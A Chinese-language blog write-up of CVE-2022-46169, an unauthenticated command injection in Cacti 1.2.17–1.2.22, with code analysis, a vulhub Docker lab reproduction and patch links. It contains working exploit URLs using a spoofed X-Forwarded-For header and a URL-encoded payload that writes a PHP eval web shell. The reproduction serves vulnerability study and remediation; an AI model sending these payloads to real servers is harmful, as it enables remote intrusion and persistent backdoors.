Cacti 前台命令注入漏洞

文章目录

    • 文档说明
    • 漏洞描述
    • 影响版本
    • 漏洞原理
      • 命令执行简单分析
      • 客户端ip伪造分析
    • 漏洞复现
      • 下载vulhub
      • 启动环境
      • 配置
      • 攻击
    • 复现总结
    • 修复方案
    • 原创申明

文档说明

本文作者:SwBack
创作时间:2023/4/8 0:12
知乎:https://www.zhihu.com/people/back-88-87
CSDN:https://blog.csdn.net/qq_30817059
百度搜索: SwBack

漏洞描述

漏 洞 名:Cacti 前台命令注入漏洞
漏洞编号:CVE-2022-46169
Cacti是一个服务器监控与管理平台。基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具.

在其1.2.17-1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。

影响版本

1.2.17-1.2.22

漏洞原理

由于remote_agent.php文件存在验证缺陷,未经身份验证的攻击者通过设置HTTP_开头变量的值为 Cacti的服务器主机名来实现身份验证绕过,之后控制get_nfilter_request_var()函数中的检索参数$poller_id,当poller_item设置为POLLER_ACTION_SCRIPT_PHP时,导致proc_open()函数被触发,最终实现在目标系统上任意命令执行。

#漏洞payload
remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`
X-Forwarded-For:127.0.0.1

命令执行简单分析

其中action 等于 polldata 时才会去调用poll_for_data()函数.

Cacti 前台命令注入漏洞_第1张图片

可以通过下面poll_for_data()函数的代码发现 只有 $item['action'] === POLLER_ACTION_SCRIPT_PHP 时,$poller_id 才会在proc_open()中命令执行

$item 是循环 $items得到

#简单将未涉及到的代码注释,尽量减少篇幅
function poll_for_data() {
	global $config;

	$local_data_ids = get_nfilter_request_var('local_data_ids');
	$host_id        = get_filter_request_var('host_id');
	$poller_id      = get_nfilter_request_var('poller_id');
	$return         = array();

	$i = 0;

	if (cacti_sizeof($local_data_ids)) {
		foreach($local_data_ids as $local_data_id) {
			input_validate_input_number($local_data_id);

			$items = db_fetch_assoc_prepared('SELECT *
				FROM poller_item
				WHERE host_id = ?
				AND 6 = ?',
				array($host_id, $local_data_id));

				.....
                .....
			if (cacti_sizeof($items)) {
				foreach($items as $item) {
					switch ($item['action']) {
					case POLLER_ACTION_SNMP: /* snmp */
						.....
                        .....
					case POLLER_ACTION_SCRIPT: /* script (popen) */
						.....
                        .....
					case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
						$cactides = array(
							0 => array('pipe', 'r'), // stdin is a pipe that the child will read from
							1 => array('pipe', 'w'), // stdout is a pipe that the child will write to
							2 => array('pipe', 'w')  // stderr is a pipe to write to
						);

						if (function_exists('proc_open')) {
							$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
							$output = fgets($pipes[1], 1024);
							$using_proc_function = true;
						} else {
							$using_proc_function = false;
						}

						.....
                        .....
					}

					$i++;
				}
			}
		}
	}

	print json_encode($return);
}

我们需要 使 $items 的SQL语句成立。 所以 $local_data_id 需要传参 6

action 等于2的时候,host_id = 1

Cacti 前台命令注入漏洞_第2张图片

Cacti 前台命令注入漏洞_第3张图片

实际的环境中,由于设备项目在添加时,需要选择相应的设备模板才会出现action=2,local_data_ids参数也是需要靠暴力猜解才会猜解出action=2的项目

Cacti 前台命令注入漏洞_第4张图片

客户端ip伪造分析

关于IP伪造的部分,我们在未认证的情况下返回的内容如下:FATAL: You are not authorized to use this service 此处在漏洞复现部分有所演示

在``中追踪代码如下

#判断remote_client_authorized()函数是否为true
if (!remote_client_authorized()) {
	print 'FATAL: You are not authorized to use this service';
	exit;
}


function remote_client_authorized() {
	global $poller_db_cnn_id;

	/* don't allow to run from the command line */
    
    #客户端ip由get_client_addr() 函数获取
	$client_addr = get_client_addr();
	if ($client_addr === false) {
		return false;
	}

	if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {
		cacti_log('ERROR: Invalid remote agent client IP Address.  Exiting');
		return false;
	}

	$client_name = gethostbyaddr($client_addr);

	if ($client_name == $client_addr) {
		cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
	} else {
		$client_name = remote_agent_strip_domain($client_name);
	}
	#从数据库中查询,从而获取到hostname值
	$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);

	if (cacti_sizeof($pollers)) {
		foreach($pollers as $poller) {
            #判断hostname值是否与客户端ip一致
			if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
				return true;
			} elseif ($poller['hostname'] == $client_addr) {
				return true;
			}
		}
	}

	cacti_log("Unauthorized remote agent access attempt from $client_name ($client_addr)");

	return false;
}

搜索之后在functions.php中发现get_client_addr()函数的定义

function get_client_addr($client_addr = false) {
	$http_addr_headers = array(
		'X-Forwarded-For',
		'X-Client-IP',
		'X-Real-IP',
		'X-ProxyUser-Ip',
		'CF-Connecting-IP',
		'True-Client-IP',
		'HTTP_X_FORWARDED',
		'HTTP_X_FORWARDED_FOR',
		'HTTP_X_CLUSTER_CLIENT_IP',
		'HTTP_FORWARDED_FOR',
		'HTTP_FORWARDED',
		'HTTP_CLIENT_IP',
		'REMOTE_ADDR',
	);

	$client_addr = false;
    #遍历数组$http_addr_headers 并将其赋值给$header
	foreach ($http_addr_headers as $header) {
        #判断$_SERVER[$header] 是否为空 ,如果不为空,则取ip作为客户端IP,这个参数用户可控。
		if (!empty($_SERVER[$header])) {
			$header_ips = explode(',', $_SERVER[$header]);
			foreach ($header_ips as $header_ip) {
				if (!empty($header_ip)) {
					if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
						cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
					} else {
						$client_addr = $header_ip;
						cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
						break 2;
					}
				}
			}
		}
	}

	return $client_addr;
}

在如下判断代码中,我们传入的值为 127.0.0.1 会被get_client_addr()函数 解析为localhost 而这和复现靶机一致

Cacti 前台命令注入漏洞_第5张图片

在这里插入图片描述

如果在服务器主机名非 localhost 的情况下,client_addr需要暴力猜解本机的内网IP地址,或者其他设备列表内的IP地址。

漏洞复现

下载vulhub

通过vulhub进行搭建,首先在一台已经安装 docker-compose的Linux机器中输入如下命令,将vulhub下载到本地

#下载vulhub
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip

#解压zip
unzip vulhub-master.zip

#进入目录
cd vulhub-master

启动环境

在上一步我们已经将vulhub解压到本地了.接下来我们进入需要复现的漏洞目录,通过docker-compose 将环境进行启动

#进入目录
cd cacti/CVE-2022-46169/
#启动环境
docker-compose up -d

输入命令之后

Cacti 前台命令注入漏洞_第6张图片

配置

环境启动后,访问http://your-ip:8080会跳转到登录页面。使用admin/admin作为账号密码登录,并根据页面中的提示进行初始化。不断的点击下一步,直到安装成功。

Cacti 前台命令注入漏洞_第7张图片

Cacti 前台命令注入漏洞_第8张图片

这个漏洞的利用需要Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP的采集器。所以,我们在Cacti后台首页创建一个新的Graph:

Cacti 前台命令注入漏洞_第9张图片

Cacti 前台命令注入漏洞_第10张图片

攻击

直接访问payload 显示内容如下

http://localhost:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`

在这里插入图片描述

进行抓包,并添加X-Forwarded-For:127.0.0.1
Cacti 前台命令注入漏洞_第11张图片

查看本地,发现文件已被创建

在这里插入图片描述

同理,创建木马

/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`echo%20%20'%3C%3Fphp%20%40eval(%24_REQUEST%5B%22cmd%22%5D)%3B%3F%3E'%20%3Eshell.php`

执行成功

Cacti 前台命令注入漏洞_第12张图片

复现总结

通过研究该漏洞,发现在实际的利用的过程中,不能一味的去使用poc攻击,需要根据实际的生产环境去进行对应的修改。

修复方案

  • 官方升级

目前官方已发布安全补丁修复此漏洞,建议受影响的用户及时安装防护:

版本* 补丁链接
v1.2.X https://github.com/Cacti/cacti/commit/b43f13ae7f1e6bfe4e8e56a80a7cd867cf2db52b
v1.3.x https://github.com/Cacti/cacti/commit/b43f13ae7f1e6bfe4e8e56a80a7cd867cf2db52b

:若在PHP < 7.0下运行1.2.x实例,还需要进一步更改:https://github.com/Cacti/cacti/commit/a8d59e8fa5f0054aa9c6981b1cbe30ef0e2a0ec9

  • 进行版本更新
    从官方下载最新版本

原创申明

本文由SwBack 原创文章, 如有问题,欢迎指正。

你可能感兴趣的:(技术研究,渗透测试,php,cacti,漏洞复现)